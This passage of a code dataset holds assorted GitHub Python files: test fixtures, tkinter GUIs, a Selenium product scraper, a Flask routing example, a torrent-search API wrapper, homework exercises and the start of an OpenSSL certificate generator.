args=args)\n\n yield Repo2DockerTest.from_parent(\n self,\n name=self.fspath.basename,\n args=args + [\"./verify\"],\n skip_build=True,\n )\n\n # mount the tests dir as a volume\n check_tmp_args = (\n args[:-1]\n + [\"--volume\", f\"{TESTS_DIR}:/io/tests\"]\n + [args[-1], \"/io/tests/check-tmp\"]\n )\n\n yield Repo2DockerTest.from_parent(\n self,\n name=\"check-tmp\",\n args=check_tmp_args,\n skip_build=True,\n extra_run_kwargs={\"user\": \"root\"},\n )\n\n\nclass RemoteRepoList(pytest.File):\n def collect(self):\n with self.fspath.open() as f:\n repos = yaml.safe_load(f)\n for repo in repos:\n args = []\n if \"ref\" in repo:\n args += [\"--ref\", repo[\"ref\"]]\n args += [repo[\"url\"], \"--\"] + shlex.split(repo[\"verify\"])\n\n yield Repo2DockerTest.from_parent(self, name=repo[\"name\"], args=args)\n","repo_name":"jupyterhub/repo2docker","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":9108,"program_lang":"python","lang":"en","doc_type":"code","stars":1542,"dataset":"github-code","pt":"1"}
+{"seq_id":"27452082401","text":"\nimport tkinter as tk\nfrom PIL import ImageTk, Image\nfrom tkinter import filedialog\nimport numpy as np\nimport subprocess\n\ndef load_img():\n global img, image_data\n for img_display in frame.winfo_children():\n img_display.destroy()\n\n image_data = filedialog.askopenfilename(initialdir=\"/\", title=\"Choose an image\",\n filetypes=((\"all files\", \"*.*\"), (\"png files\", \"*.png\"),(\"jpg files\", \"*.jpg\")))\n basewidth = 800 # Processing image for dysplaying\n img = Image.open(image_data)\n wpercent = (basewidth / float(img.size[0]))\n hsize = int((float(img.size[1]) * float(wpercent)))\n img = img.resize((basewidth, hsize), Image.ANTIALIAS)\n img = ImageTk.PhotoImage(img)\n file_name = image_data.split('/')\n panel = tk.Label(frame, text= str(file_name[len(file_name)-1]).upper()).pack()\n panel_image = tk.Label(frame, image=img).pack()\n\ndef classify():\n global img, image_data\n import subprocess\n for img_display in frame.winfo_children():\n img_display.destroy()\n\n subprocess.call(['./yolo3','detect','cfg/yolov3.cfg','yolov3.weights',image_data])\n image_data = 'predictions.jpg'\n basewidth = 800 # Processing image for dysplaying\n img = Image.open(image_data)\n wpercent = (basewidth / float(img.size[0]))\n hsize = int((float(img.size[1]) * float(wpercent)))\n img = img.resize((basewidth, hsize), Image.ANTIALIAS)\n img = ImageTk.PhotoImage(img)\n file_name = image_data.split('/')\n panel = tk.Label(frame, text= str(file_name[len(file_name)-1]).upper()).pack()\n panel_image = tk.Label(frame, image=img).pack()\n\nroot = tk.Tk()\nroot.title('Asssessment 2: Mini Project')\n\nroot.iconbitmap('class.ico')\nroot.resizable(False, False)\ntitle = tk.Label(root, text=\"Object Localization and Classificaiton using YOLOv3\", padx=10, pady=20, font=(\"\", 26)).pack()\ncanvas = tk.Canvas(root, height=500, width=1000, bg='white').pack()\nframe = tk.Frame(root, bg='white')\nframe.place(relwidth=0.8, relheight=0.8, relx=0.1, rely=0.1)\n\nchose_image = tk.Button(root, text='Choose Image',\n padx=35, pady=10,\n fg=\"white\", bg=\"grey\", command=load_img)\nchose_image.pack(side=tk.LEFT)\n\nclass_image = tk.Button(root, text='Classify Image',\n padx=35, pady=10,\n fg=\"white\", bg=\"grey\", command=classify)\nclass_image.pack(side=tk.RIGHT)\nroot.mainloop()\n","repo_name":"patsongco/41040-Introduction-to-Artificial-Intelligence","sub_path":"GUI.py","file_name":"GUI.py","file_ext":"py","file_size_in_byte":2429,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"1"}
+{"seq_id":"39711733196","text":"#### Graphics Functions ####\r\nfrom tkinter import *\r\n\r\nfrom Framework import PygameGame\r\n# start screen dispatcher\r\n\r\ndef startMousePressed(event, data):\r\n if data.width // 2 - data.buttonWidth // 2 <= event.x <= data.width // 2 + data.buttonWidth // 2 \\\r\n and data.scrollY + 5 * data.height // 6 <= event.y <= data.scrollY + 5 * data.height // 6 + data.buttonHeight:\r\n data.mode = \"instructionState\"\r\n elif data.width // 2 - data.buttonWidth // 2 <= event.x <= data.width // 2 + data.buttonWidth // 2 \\\r\n and data.scrollY + 3 * data.height // 4 <= event.y <= data.scrollY + 3 * data.height // 4 + data.buttonHeight:\r\n data.mode = \"gameState\"\r\n game = PygameGame()\r\n game.run()\r\n\r\n\r\ndef startKeyPressed(event, data):\r\n if event.keysym == \"space\":\r\n data.scrollY = 0\r\n\r\n\r\ndef startTimerFired(data):\r\n if data.scrollY >= 0:\r\n data.scrollY -= 25\r\n\r\n\r\ndef draw():\r\n pass\r\n\r\n\r\ndef startRedrawAll(canvas, data):\r\n canvas.create_rectangle(-1, -1, data.width, data.height, fill=\"greenyellow\")\r\n startText = '''\r\n In a universe where axolotls control time,\r\n\r\n an evil group of villains are trying to take\r\n\r\n possession of all axolotls to harvest their \r\n\r\n powers to rule the world. However, there lives \r\n\r\n one man, our hero, Mike Taylor, who made a vow \r\n\r\n to protect the last axolotl, Kimchee, all from\r\n\r\n wrongdoers. You will take on the role of Mike, \r\n\r\n trying your best to protect him from harm.'''\r\n\r\n # creates scrolling text\r\n canvas.create_text(data.width // 2, data.scrollY, anchor=S, text=startText, font=\"Arial 30 bold\")\r\n\r\n # creates press space to skip text\r\n if data.scrollY > 550:\r\n canvas.create_text(data.width // 2, 10, anchor=N, text=\"Press space to skip\", font=\"Arial 11 bold\")\r\n\r\n # creates title\r\n canvas.create_text(data.width // 2, data.scrollY + data.height // 3, text=\"THE LAST\", font=\"Arial 150 bold\")\r\n canvas.create_text(data.width // 2, data.scrollY + data.height // 2, text=\"AXOLOTL\", font=\"Arial 150 bold\")\r\n\r\n # creates play button\r\n canvas.create_rectangle(data.width // 2 - data.buttonWidth // 2, \\\r\n data.scrollY + 3 * data.height // 4, data.width // 2 + data.buttonWidth // 2, \\\r\n data.scrollY + 3 * data.height // 4 + data.buttonHeight, fill=\"black\")\r\n canvas.create_text(data.width // 2, data.scrollY + 3 * data.height // 4 + data.buttonHeight // 2, text=\"Play\",\r\n font=\"Arial 15 bold\", fill=\"white\")\r\n\r\n # creates instructions button\r\n canvas.create_rectangle(data.width // 2 - data.buttonWidth // 2, \\\r\n data.scrollY + 5 * data.height // 6, data.width // 2 + data.buttonWidth // 2, \\\r\n data.scrollY + 5 * data.height // 6 + data.buttonHeight, fill=\"black\")\r\n canvas.create_text(data.width // 2, data.scrollY + 5 * data.height // 6 + data.buttonHeight // 2,\r\n text=\"Instructions\", font=\"Arial 15 bold\", fill=\"white\")\r\n\r\n\r\n# instruction dispatcher\r\n\r\ndef instructionMousePressed(event, data):\r\n if data.width // 2 - data.buttonWidth // 2 <= event.x <= data.width // 2 + data.buttonWidth // 2 and \\\r\n 3 * data.height // 4 <= event.y <= 3 * data.height // 4 + data.buttonHeight:\r\n data.mode = \"gameState\"\r\n game = PygameGame()\r\n game.run()\r\n\r\n\r\ndef instructionRedrawAll(canvas, data):\r\n instructionText = ''' Objective: Don't die and get to the end.\r\n They don't move if you don't move.\r\n Use WASD to move, and use mouse to move gun.\r\n Click to shoot bullets at enemies.'''\r\n # creates instructions\r\n canvas.create_rectangle(-1, -1, data.width, data.height, fill=\"yellow\")\r\n canvas.create_text(data.width // 2, data.height // 4, text=\"How to Play:\", font=\"Arial 50 bold\")\r\n\r\n # recreates play button\r\n canvas.create_rectangle(data.width // 2 - data.buttonWidth // 2, \\\r\n 3 * data.height // 4, data.width // 2 + data.buttonWidth // 2, \\\r\n 3 * data.height // 4 + data.buttonHeight, fill=\"black\")\r\n canvas.create_text(data.width // 2, 3 * data.height // 4 + data.buttonHeight // 2, text=\"Play\",\r\n font=\"Arial 15 bold\", fill=\"white\")\r\n\r\n canvas.create_text(data.width // 2, 2*data.height // 4, text=instructionText, font=\"Arial 25 bold\")\r\n\r\n\r\n# game dispatcher\r\n\r\n\r\n## mode dispatcher\r\n##calls all the functions within each respective function\r\n\r\ndef init(data): # initializes variables\r\n data.mode = \"startState\"\r\n data.scrollY = data.height + 500\r\n data.buttonWidth = 200\r\n data.buttonHeight = 50\r\n\r\n\r\ndef mousePressed(event, data):\r\n if data.mode == \"startState\":\r\n startMousePressed(event, data)\r\n elif data.mode == \"instructionState\":\r\n instructionMousePressed(event, data)\r\n\r\n\r\ndef keyPressed(event, data):\r\n if data.mode == \"startState\":\r\n startKeyPressed(event, data)\r\n\r\n\r\ndef timerFired(data):\r\n if data.mode == \"startState\":\r\n startTimerFired(data)\r\n\r\n\r\ndef redrawAll(canvas, data):\r\n if data.mode == \"startState\":\r\n startRedrawAll(canvas, data)\r\n elif data.mode == \"instructionState\":\r\n instructionRedrawAll(canvas, data)\r\n\r\n\r\n#################################################################\r\n# use the run function as-is\r\n#################################################################\r\n\r\n\r\ndef run(width=300, height=300):\r\n def redrawAllWrapper(canvas, data):\r\n canvas.delete(ALL)\r\n canvas.create_rectangle(0, 0, data.width, data.height,\r\n fill='white', width=0)\r\n redrawAll(canvas, data)\r\n canvas.update()\r\n\r\n def mousePressedWrapper(event, canvas, data):\r\n mousePressed(event, data)\r\n redrawAllWrapper(canvas, data)\r\n\r\n def keyPressedWrapper(event, canvas, data):\r\n keyPressed(event, data)\r\n redrawAllWrapper(canvas, data)\r\n\r\n def timerFiredWrapper(canvas, data):\r\n timerFired(data)\r\n redrawAllWrapper(canvas, data)\r\n # pause, then call timerFired again\r\n canvas.after(data.timerDelay, timerFiredWrapper, canvas, data)\r\n\r\n # Set up data and call init\r\n class Struct(object): pass\r\n\r\n data = Struct()\r\n data.width = width\r\n data.height = height\r\n data.timerDelay = 100 # milliseconds\r\n root = Tk()\r\n init(data)\r\n # create the root and the canvas\r\n canvas = Canvas(root, width=data.width, height=data.height)\r\n canvas.configure(bd=0, highlightthickness=0)\r\n canvas.pack()\r\n # set up events\r\n root.bind(\"\", lambda event:\r\n mousePressedWrapper(event, canvas, data))\r\n root.bind(\"\", lambda event:\r\n keyPressedWrapper(event, canvas, data))\r\n timerFiredWrapper(canvas, data)\r\n # and launch the app\r\n # exitButton = Button(root, text = \"Play\", command = root.destroy).pack()\r\n root.mainloop() # blocks until window is closed\r\n print(\"bye!\")\r\n\r\n\r\nrun(1200, 700)","repo_name":"sber0115/Hack112","sub_path":"start screen.py","file_name":"start screen.py","file_ext":"py","file_size_in_byte":7051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"4838570503","text":"import json\nimport hashlib\nfrom main.public import config\n\ndef to_list(queryset_data):\n \"\"\"\n 简介:传入queryset对象,转化为列表\n :param queryset_data: 【queryset类型对象】通过django orm从数据查询得到的数据集\n :return:\n \"\"\"\n return list(queryset_data.values())\n\n#本地不做保存\n#生成token\ndef get_token(salt, openid):\n md5 = hashlib.md5()\n md5.update(salt.encode(\"utf-8\"))\n md5.update(openid.encode(\"utf-8\"))\n md5.update(salt.encode(\"utf-8\"))\n return md5.hexdigest()\n\n# 判断是否包含违法关键词\ndef is_bad_str(s):\n with open(config.BAN_STR_FILE_URL, 'r') as f:\n ban_str_list = f.readlines()\n for ban_str in ban_str_list:\n if ban_str == \"\" or \" \" or \"\\n\" or \"\\r\" or \"\\t\":\n continue\n if strip_all(ban_str).lower() in strip_all(str(s)).lower():\n print(strip_all(ban_str).lower())\n print(strip_all(s).lower())\n # 包含不合法的关键字\n #print(\"不合法\")\n return False\n\n # 筛选不出就表示合法\n #print(\"合法\")\n return True\n\n# 去除两端空格和右边的换行和回车\ndef strip_all(str):\n return str.strip().replace(\"\\n\",\"\").replace(\"\\r\",\"\")\n\n\n","repo_name":"HelloPKJ/foursquare_wx","sub_path":"foursquare_v1/main/public/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"19955130411","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Mar 28 11:20:43 2019\n\n@author: Umaima\n\"\"\"\nfrom selenium import webdriver\n#from selenium.webdriver.common.keys import Keys\nimport time\nimport json\n\ndef AmazonBot(url):\n \n driver = webdriver.Chrome()\n \n driver.get(url)\n time.sleep(2)\n try:\n XPATH_NAME = '//h1[@id=\"title\"]'\n \n XPATH_SALE_PRICE = '//span[contains(@id,\"ourprice\") or contains(@id,\"saleprice\")]'\n \n XPATH_ORIGINAL_PRICE = '//td[contains(text(), \"List Price\") or contains(text(), \"M.R.P.:\") or contains(text(), \"Price\")]/following-sibling::td'\n XPATH_CATEGORY = '//a[@class=\"a-link-normal a-color-tertiary\"]'\n XPATH_AVAILABILITY = '//div[@id=\"availability\"]'\n \n RAW_NAME = driver.find_element_by_xpath(XPATH_NAME).text\n try:\n RAW_SALE_PRICE = driver.find_element_by_xpath(XPATH_SALE_PRICE).text\n except:\n RAW_SALE_PRICE = \"Unable to fetch\"\n time.sleep(3)\n try:\n RAW_CATEGORY = driver.find_element_by_xpath(XPATH_CATEGORY).text\n except:\n RAW_CATEGORY = \"Unable to fetch\"\n #RAW_CATEGORY = \"Baby\"\n RAW_ORIGINAL_PRICE = driver.find_element_by_xpath(XPATH_ORIGINAL_PRICE).text\n \n RAw_AVAILABILITY = driver.find_element_by_xpath(XPATH_AVAILABILITY).text\n \n #print(RAW_NAME + \",\" + RAW_SALE_PRICE+ \",\" +RAW_CATEGORY+ \",\" + RAW_ORIGINAL_PRICE+ \",\" +RAw_AVAILABILITY)\n \n NAME = ' '.join(''.join(RAW_NAME).split()) if RAW_NAME else None\n SALE_PRICE = ' '.join(''.join(RAW_SALE_PRICE).split()).strip() if RAW_SALE_PRICE else None\n #CATEGORY = ' > '.join([i.strip() for i in RAW_CATEGORY]) if RAW_CATEGORY else None\n CATEGORY = RAW_CATEGORY\n ORIGINAL_PRICE = ''.join(RAW_ORIGINAL_PRICE).strip() if RAW_ORIGINAL_PRICE else None\n AVAILABILITY = ''.join(RAw_AVAILABILITY).strip() if RAw_AVAILABILITY else None\n \n if not ORIGINAL_PRICE:\n ORIGINAL_PRICE = SALE_PRICE\n \n# if page.status_code!=200:\n# raise ValueError('captha')\n \n data = {\n 'NAME':NAME,\n 'SALE_PRICE':SALE_PRICE,\n 'CATEGORY':CATEGORY,\n 'ORIGINAL_PRICE':ORIGINAL_PRICE,\n 'AVAILABILITY':AVAILABILITY,\n 'URL':url,\n }\n \n #print(data)\n \n driver.close()\n \n return data\n \n except Exception as e:\n print(e)\n \ndef ReadProducts():\n # AsinList = csv.DictReader(open(os.path.join(os.path.dirname(__file__),\"Asinfeed.csv\")))\n ProductList = ['B00PFJ00U6',\n 'B07D5V12Y8',\n 'B010D771GK',\n 'B01LQQHI8I',\n 'B077RV8CCY']\n \n extracted_data = []\n for i in ProductList:\n url = \"https://www.amazon.in/dp/\"+i\n print(\"Processing: \"+url)\n extracted_data.append(AmazonBot(url))\n time.sleep(5)\n \n f=open('amazondata.json','w')\n json.dump(extracted_data,f,indent=4)\n \n \nif __name__ == \"__main__\":\n ReadProducts()","repo_name":"umaimagit/EverydayTasksAutomation","sub_path":"AmazonBot.py","file_name":"AmazonBot.py","file_ext":"py","file_size_in_byte":3153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"6815852315","text":"from math import ceil\n\nimport sgtk\nfrom sgtk.platform.qt import QtGui\nfrom ..ui.new_timelog import Ui_NewTimeLogForm\n\nlogger = sgtk.platform.get_logger(__name__)\n\n\nclass NewTimeLogForm(QtGui.QDialog):\n\n def __init__(self, data, task, preset=False, parent=None):\n super(NewTimeLogForm, self).__init__(parent)\n\n self._app = sgtk.platform.current_bundle()\n self.parent = parent\n # load in the UI that was created in the UI designer\n self.updateFromSpinbox = False\n self.preset = preset\n self.name = data.name\n # ceil to second decimal place\n self.hours = ceil(data.duration.total_seconds() / 36) / 100\n if self.hours < 0:\n self.custom = True\n self.hours = 8.0\n self.date = data.timestamp\n self.ui = Ui_NewTimeLogForm()\n self.ui.setupUi(self)\n self.ui.project_cbBox.addItem(\"%s\" % (task['project']['name']))\n self.ui.task_cbBox.addItem(\"%s %s, %s\" %\n (task['entity']['type'], task['entity']['name'], task['content']),\n userData=task)\n self.ui.dateEdit.setDate(self.date)\n self.ui.dateEdit.setCalendarPopup(True)\n self.ui.doubleSpinBox.setDecimals(2)\n self.ui.doubleSpinBox.setRange(0.00, self.hours * 2)\n self.ui.horizontalSlider.setRange(0, self.hours * 2 * 10)\n self.ui.doubleSpinBox.setValue(self.hours)\n self.ui.horizontalSlider.setValue(self.hours * 10)\n\n self.ui.horizontalSlider.valueChanged[int].connect(self.update_spinbox)\n self.ui.doubleSpinBox.editingFinished.connect(self.update_slider_position)\n\n if self.preset:\n self.ui.doubleSpinBox.setValue(self.hours)\n self.ui.horizontalSlider.setValue(self.hours * 10)\n\n # set time field to be focused by default\n self.ui.doubleSpinBox.selectAll()\n self.ui.doubleSpinBox.setFocus()\n\n self.ui.buttonBox.accepted.connect(self.submitTimeLog)\n\n def update_spinbox(self, value):\n if not self.updateFromSpinbox:\n self.ui.doubleSpinBox.setValue(float(value) / 10)\n\n def update_slider_position(self):\n self.updateFromSpinbox = True\n self.ui.horizontalSlider.setSliderPosition(self.ui.doubleSpinBox.value() * 10)\n self.updateFromSpinbox = False\n\n def submitTimeLog(self):\n \"\"\"\n Use shotgun api to submit timelog to shotgun.\n After submission, refresh task model and UI to get latest time info\n \"\"\"\n try:\n task = self.ui.task_cbBox.itemData(self.ui.task_cbBox.currentIndex())\n # duration value is expressed in minutes\n duration = float(self.ui.doubleSpinBox.value()) * 60\n date = str(self.ui.dateEdit.date().toString(\"yyyy-MM-dd\"))\n description = self.ui.textEdit.toPlainText()\n extra_description = \"logged by Timecard\"\n if description:\n extra_description = \", \" + extra_description\n sg = self._app.context.tank.shotgun\n logger.debug(\"submit task {}, duration {}\".format(task, duration))\n result = sg.create(\"TimeLog\", {\"duration\": duration,\n \"entity\": task,\n \"project\": task['project'],\n \"date\": date,\n \"description\": description + extra_description})\n logger.debug(\"create result: {}\".format(result))\n # refresh the task model\n self.parent._on_refresh_triggered()\n # self.parent.ui.textBrowser.append(\"{duration} hrs has been logged to {project} {entity} {task}\"\n # .format(\n # duration=duration / 60.0,\n # project=task['project']['name'],\n # entity=task['entity']['name'],\n # task=task['content']\n # ))\n except Exception as e:\n logger.error(e)\n","repo_name":"qpskcn1/tk-desktop-timecard","sub_path":"python/tk_desktop_timecard/my_time/new_timelog_form.py","file_name":"new_timelog_form.py","file_ext":"py","file_size_in_byte":4229,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"1"}
+{"seq_id":"35913375101","text":"# The Full Counting Sort\n# The real counting sort.\n#\n# https://www.hackerrank.com/challenges/countingsort4/problem\n#\n\n\nif __name__ == \"__main__\":\n n = int(input())\n\n # attention à la définition du tableau:\n # [[]] * 100 crée un tableau de 100 fois le même objet [] !\n counts = [[] for i in range(100)]\n for i in range(n):\n x, s = input().split()\n if i < n // 2:\n s = '-'\n counts[int(x)].append(s)\n\n def y():\n for i in counts:\n for j in i:\n yield j\n\n print(\" \".join(y()))\n","repo_name":"rene-d/hackerrank","sub_path":"algorithms/arrays-and-sorting/countingsort4.py","file_name":"countingsort4.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"1"}
+{"seq_id":"20188022366","text":"from .parser import Parser\nfrom .page_provider import PageProvider\nfrom .api_provider import ApiProvider\nfrom requests import Session\nfrom typing import Union, Optional\nfrom .enums import Sort, Order\nfrom .torrent import Torrent\n\n\nclass RutrackerApi(object):\n def __init__(self, session: Optional[Session] = None):\n if not session:\n session = Session()\n self.parser = Parser()\n self.page_provider = PageProvider(session)\n self.api = ApiProvider(session)\n\n def login(self, username: str, password: str) -> None:\n \"\"\"Login Rutracker.org\"\"\"\n\n self.page_provider.login(username, password)\n\n def search(\n self,\n query: str,\n sort: Union[Sort, str] = \"desc\",\n order: Union[Order, str] = \"registered\",\n page: int = 1,\n get_hash: bool = True,\n ) -> dict:\n \"\"\"Search for torrents. Returns a dictionary with the keys 'count', 'page', 'total_pages' and 'result'\"\"\"\n\n if isinstance(sort, str):\n sort = Sort[sort.upper()].value\n if isinstance(sort, Sort):\n sort = sort.value\n if isinstance(order, str):\n order = Order[order.upper()].value\n if isinstance(order, Order):\n order = order.value\n\n html = self.page_provider.search(query, sort, order, page)\n results = self.parser.parse_search(html)\n if not get_hash:\n return results\n # get hashes\n ids = [r.topic_id for r in results[\"result\"]]\n hashes = self.api.get_tor_hash(ids)\n for torrent in results[\"result\"]:\n torrent.hash = hashes[str(torrent.topic_id)]\n return results\n\n def download(self, topic_id: Union[str, int]) -> bytes:\n \"\"\"Download a .torrent file. Returns bytes\"\"\"\n\n return self.page_provider.torrent_file(topic_id)\n\n def topic(self, topic_id: Union[str, int]) -> Torrent:\n \"\"\"Returns information about the torrent\"\"\"\n\n response = self.api.get_tor_topic_data(topic_id)\n return self.parser.parse_topic(response)\n","repo_name":"raitonoberu/rutracker-api","sub_path":"rutracker_api/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2065,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"1"}
+{"seq_id":"30657128634","text":"\"\"\"\n\n# 1.路由中的变量规则\n\n 有时候需要接收URL中的参数变量,可以把参数标记为一个变量<变量名>,这个部分将会作为命名参数传递给函数。\n 同时还可以限制参数变量的类型<类型:变量名>。\n# 2. 数据类型一共有三种:int, float, path\n 类型\t 描述\n int\t 接受整数\n float\t 同 int ,但是接受浮点数\n path\t 和默认的相似,但也接受斜线\n\n# 3. 范例1:\n http://www.csdn.org/12000\n http://www.csdn.org/12001\n http://www.csdn.org/12002\n http://www.csdn.org/12003\n\n\n# 4.范例2-动态路由:\n http://www.csdn.org/\n\n\"\"\"\n\nfrom flask import Flask, request\n\n\napp = Flask(__name__)\n\n\n@app.route('//')\ndef userinfo(userid):\n return \"正在查看用户%s的详细博客........\" %(userid)\n\n\n@app.route('/welcome/')\ndef welcome(username):\n return \"欢迎访问%s用户的主页\" %(username)\n\n\n\n\"\"\"\nhttps://movie.douban.com/top250?start=25&filter=\n\"\"\"\n@app.route('/top250')\ndef top250():\n users = ['user%s' %(i) for i in range(100)]\n # request存储用户请求页面的所有头部信息\n print(\"客户端的用户代理: \", request.user_agent) # Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0\n print(\"请求页面的头部信息: \", request.headers)\n print(\"客户端的IP:\", request.remote_addr) # 127.0.0.1\n print(\"客户端请求的参数详细信息: \", request.args) # ImmutableMultiDict([('start', '25'), ('user', 'westos')])\n\n print(\"客户端HTTP请求方法: \", request.method) # GET\n # 获取用户请求的url地址里面可以对应的value值;\n start = int(request.args.get('start')) # '25'\n user = request.args.get('user') # 'westos'\n # return 'top 250 显示数据开始:%s条 用户名: %s' %(start, user)\n import json\n return json.dumps(users[start:start+10])\n\n\nif __name__ == '__main__':\n app.run()","repo_name":"lvah/201903python","sub_path":"day34/02_路由和变量规则.py","file_name":"02_路由和变量规则.py","file_ext":"py","file_size_in_byte":1978,"program_lang":"python","lang":"zh","doc_type":"code","stars":5,"dataset":"github-code","pt":"1"}
+{"seq_id":"40280931735","text":"import os\nimport six\nimport re\nimport requests\nimport time\nimport random\n\nfrom nmtwizard.framework import Framework\nfrom nmtwizard.logger import get_logger\n\nlogger = get_logger(__name__)\n\nclass TestFramework(Framework):\n\n def __init__(self):\n super(TestFramework, self).__init__(support_multi_training_files=True)\n\n def train_multi_files(self,\n config,\n data_dir,\n src_vocab_info,\n tgt_vocab_info,\n model_path=None,\n num_samples=None,\n samples_metadata=None,\n gpuid=0):\n options = self._get_training_options(\n config,\n data_dir,\n model_path=model_path,\n num_samples=num_samples,\n samples_metadata=samples_metadata,\n gpuid=gpuid)\n\n duration = config['options'].get('duration', 10)\n while duration > 0:\n print(\"LOG MESSAGE BLOCK - remaining %d\" % duration)\n time.sleep(5)\n duration -= 5\n\n model_file = os.path.join(self._output_dir,\"model\")\n with open(model_file, \"w\") as f:\n cmapping = range(0,26)\n random.shuffle(cmapping)\n f.write(\"\".join([chr(c+65) for c in cmapping]))\n\n return {\"model\": model_file}\n\n def train(self, *arg, **kwargs):\n raise NotImplementedError()\n\n def trans(self, config, model_path, input_file, output_file, gpuid=0):\n model_file = os.path.join(model_path, 'model')\n options = self._get_translation_options(\n config, model_file, input_file=input_file, output_file=output_file, gpuid=gpuid)\n\n with open(model_file) as f:\n map_alphabet = f.read()\n with open(input_file) as f_in, open(output_file, \"w\") as f_out:\n for l in f_in:\n for idx, c in enumerate(l):\n c = l[idx]\n if c >= 'A' and c <= 'Z':\n c = map_alphabet[ord(c)-ord('A')]\n elif c >= 'a' and c <= 'z':\n c = chr(ord(map_alphabet[ord(c)-ord('a')])+ord('a')-ord('A'))\n l = l[:idx] + c + l[idx+1:]\n f_out.write(l)\n\n def serve(self, *arg, **kwargs):\n raise NotImplementedError('serving is not supported yet for test framework')\n\n def forward_request(self, *arg, **kwargs):\n raise NotImplementedError()\n\n def release(self, *args, **kwargs):\n raise NotImplementedError('release is not supported yet for test framework')\n\n def _get_training_options(self,\n config,\n data_dir,\n model_path=None,\n num_samples=None,\n samples_metadata=None,\n gpuid=0):\n options = config[\"options\"]\n options.update(config[\"options\"].get(\"common\", {}))\n options.update(config[\"options\"].get(\"train\", {}))\n return options\n\n def _get_translation_options(self, config, model_file, input_file=None, output_file=None, gpuid=0):\n options = {}\n options.update(config[\"options\"].get(\"common\", {}))\n options.update(config[\"options\"].get(\"trans\", {}))\n return options\n\nif __name__ == \"__main__\":\n TestFramework().run()\n","repo_name":"ClementChouteau/nmt-wizard-docker","sub_path":"frameworks/test/entrypoint.py","file_name":"entrypoint.py","file_ext":"py","file_size_in_byte":3437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"1"}
+{"seq_id":"28683437797","text":"# Her har jeg fulgt eksempeloppgaven fra oppgaveteksten.\n\n# Klassen blir laget.\nclass Person:\n def __init__(self, navn, alder):\n self._navn = navn\n self._alder = alder\n self._hobby = []\n# her lages metoden som legger til hobbyer i en liste.\n# Denne er tilpasset slik at den passer til while løkken jeg har laget lengre ned.\n def leggTilHobby(self):\n hobbyStreng = input(\"Skriv inn en hobby(skriv s når du er ferdig): \")\n self._hobby.append(hobbyStreng)\n return hobbyStreng\n\n# Her blir listen over hobbyer skrevet ut på én linje. Ettersom input = \"s\"\n# hopper ut av løkken måtte jeg legge til en del setning for å unngå å få den med\n# i listen.\n# Jeg har også brukt join for å gjøre det litt mer utskriftsvennlig.\n def skrivHobbyer(self):\n del self._hobby[-1]\n print(\"Hobbyene dine er: \",\", \".join(self._hobby))\n\n# Her printes navn og alder ut til bruker. Denne metoden kaller også på\n# metoden skrivHobbyer. Dette gjorde at jeg ikke skjønte meg hvordan jeg skulle\n# snike meg rundt det at skrivHobbyer her ikke blir kallt på med et objekt.\n# Dette har jeg \"løst\" ved å legge til et til parameter \"obj\" som blir lagt\n# inn ved kallet på skrivHobbyer. Dette gjør at man må skrive objektet også som\n# et argument ved kall på skrivUt. (Dette antar jeg er en ulempe, og jeg vil gjerne\n# vite hvordan man heller skulle løst dette.)\n def skrivUt(self,obj):\n print(self._navn + \", \" + str(self._alder) + \" aar\")\n obj.skrivHobbyer()\n\n# Her lages hovedprogrammet. Navn og alder blir lagret i variabler og\n# objektet blir laget basert på disse variablene.\ndef hovedprogram():\n navninp = input(\"Skriv inn navnet ditt: \")\n alderinp = input(\"Skriv inn alderen din: \")\n pers1 = Person(navninp, alderinp)\n\n# Her lages while-løkken som lar bruker legge til hobbyer. Variabelen \"hobbyStreng\"\n# blir returnert i leggTilHobby metoden slik at denne kan brukes her. Så fort bruker\n# skriver inn s vil den hoppe ut av løkken.\n inp = None\n while inp != \"s\" :\n inp = pers1.leggTilHobby()\n# Programmet vil så printe ut navn, alder og vedkommendes hobbyer.\n# Her kaller jeg på metoden skrivUt med objektet, men sender også med objektet\n# som et argument som blir anvendet i skrivUt som forklart over.\n print(\"\")\n pers1.skrivUt(pers1)\n# til slutt kaller jeg på hovedprogrammet.\nhovedprogram()\n","repo_name":"Huttemeitu/Skoleoppgaver","sub_path":"IN1000 - Python/Oblig6/egenoppgave6.py","file_name":"egenoppgave6.py","file_ext":"py","file_size_in_byte":2409,"program_lang":"python","lang":"no","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"30641924579","text":"#!/usr/bin/python\n\nfrom OpenSSL import crypto, SSL\nfrom socket import gethostname\nfrom pprint import pprint\nfrom time import gmtime, mktime\n\nCERT_FILE = \"cert.crt\"\nKEY_FILE = \"private.key\"\n\ndef create_end_user_cert(common_name, country=None, state=None, city=None,\n organization=None, organizational_unit=None,\n email_address=None):\n\n\tkey = crypto.PKey()\n\tkey.generate_key(crypto.TYPE_RSA, 1024)\n\n\twith open(\"root-cert.crt\", \"r\") as my_cert_file:\n\t\tmy_cert_text = my_cert_file.read()\n\t\tca_cert = crypto.load_certificate(crypto.FILETYPE_PEM, my_cert_text)\n\n\tca_key = crypto.load_privatekey(crypto.FILETYPE_PEM, open(\"root-private.key\").read(), \"owtf-dev\")\n\n\tcert = crypto.X509()\n\tcert.get_subject().CN = gethostname()\n\tif country:\n\t\tcert.get_subject().C = country\n\tif state:\n\t\tcert.get_subject().ST = state\n\tif city:\n\t\tcert.get_subject().L = city\n\tif organization:\n\t\tcert.get_subject().O = organization\n\tif organizational_unit:\n\t\tcert.get_subject().OU = organizational_unit\n\tif email_address:\n\t\tcert.get_subject().emailAddress = 